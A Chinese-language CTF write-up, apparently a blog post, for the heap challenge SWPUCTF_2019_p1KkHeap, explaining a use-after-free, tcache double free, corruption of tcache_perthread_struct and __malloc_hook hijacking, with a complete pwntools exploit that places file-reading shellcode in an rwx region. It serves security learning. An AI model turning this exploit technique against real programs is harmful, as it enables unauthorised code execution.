zoukankan      html  css  js  c++  java
  • SWPUCTF_2019_p1KkHeap

    安全检查

     程序流程

    没什么特别要看的,主要看delete函数,有uaf

     漏洞利用

    1. 由于有uaf,所以可以通过两次free让tache变成一个循环的链表,然后把他add成负数,这样相应的tache数量就会变得很大,并且满了
    2. 然后指向tache_thread_struct这个结构体,因为这里存储着tache,那么我们只要控制了他,就可以对任意地址进行写入
    3. 程序刚开始对一个0x66660000地方进行的mmap,权限是rwx,有可执行权限,所以我们把内存申请到这里,在输入shellcraft,再劫持malloc_hook就可以运行到这,从而拿到flag

    exp:

    from pwn import *
    context.arch='amd64'
    
    #p=process('./SWPUCTF_2019_p1KkHeap')
    p=remote('node3.buuoj.cn',29368)
    libc=ELF('./libc-2.27.so')
    
    def add(size):
        p.recvuntil('Choice: ')
        p.sendline('1')
        p.recvuntil('size: ')
        p.sendline(str(size))
    
    def show(idx):
        p.recvuntil('Choice: ')
        p.sendline('2')
        p.recvuntil('id: ')
        p.sendline(str(idx))
    
    def edit(idx,content):
        p.recvuntil('Choice: ')
        p.sendline('3')
        p.recvuntil('id: ')
        p.sendline(str(idx))
        p.recvuntil('content: ')
        p.sendline(content)
    
    def delete(idx):
        p.recvuntil('Choice: ')
        p.sendline('4')
        p.recvuntil('id: ')
        p.sendline(str(idx))
    
    add(0x100)
    add(0x100)
    
    delete(1)#0
    delete(1)#1
    
    show(1)
    p.recvuntil('content: ')
    first_chunk=u64(p.recv(6).ljust(8,'x00'))
    tache_entry=first_chunk-0x110-0x260+0x40+0x88
    print hex(tache_entry)
    
    add(0x100)#2
    edit(2,p64(tache_entry))
    add(0x100)#3
    add(0x100)#4 the point tache_entry 0x100
    rwx_addr=0x66660000
    
    edit(4,p64(rwx_addr))
    
    add(0x100)#5 the point 0x66660000 mmap place
    
    shellcode=shellcraft.amd64.open('flag')
    shellcode+=shellcraft.amd64.read(3,0x66660300,64)
    shellcode+=shellcraft.amd64.write(1,0x66660300,64)
    edit(5,asm(shellcode))
    
    delete(0)
    show(0)
    main_arena=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    libc_base=main_arena-0x3ebca0
    malloc_hook=libc.symbols['__malloc_hook']+libc_base
    edit(4,p64(malloc_hook))
    add(0x100)#6
    edit(6,p64(rwx_addr))
    
    
    add(0x100)
    #gdb.attach(p)
    
    p.interactive()

    总结

    • 本题让我学到新的漏洞利用思路,原来并不一定要控制好tache的entry,原来可以控制tache_thread_struct里任意一个成员的entry,这样利用是我第一次见到,以前也没去扩展的思考过
    • 其次是看了别人的博客https://blog.csdn.net/github_36788573/article/details/103475238才会写这道题的,发现这里有沙箱,这也是我没接触过得,需要去补充,并且需要写一篇博客来补充
    • 这道题属于需要再次学习的题,来真正把这道题的知识点弄懂
  • 相关阅读:
    Android基础知识
    使用Android Studio和Genymotion模拟器搭建Andriod开发环境
    【原】Java开发环境搭建
    【转】JavaScript顶级对象参考模型
    【转】在.Net中关于AOP的实现
    【转】各版本IIS下ASP.net请求处理过程区别
    【转】我们应该如何去了解JavaScript引擎的工作原理
    Linux系统编程(27)——线程控制
    Linux系统编程(26)——守护进程
    Linux系统编程(25)——终端
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/14007529.html
Copyright © 2011-2022 走看看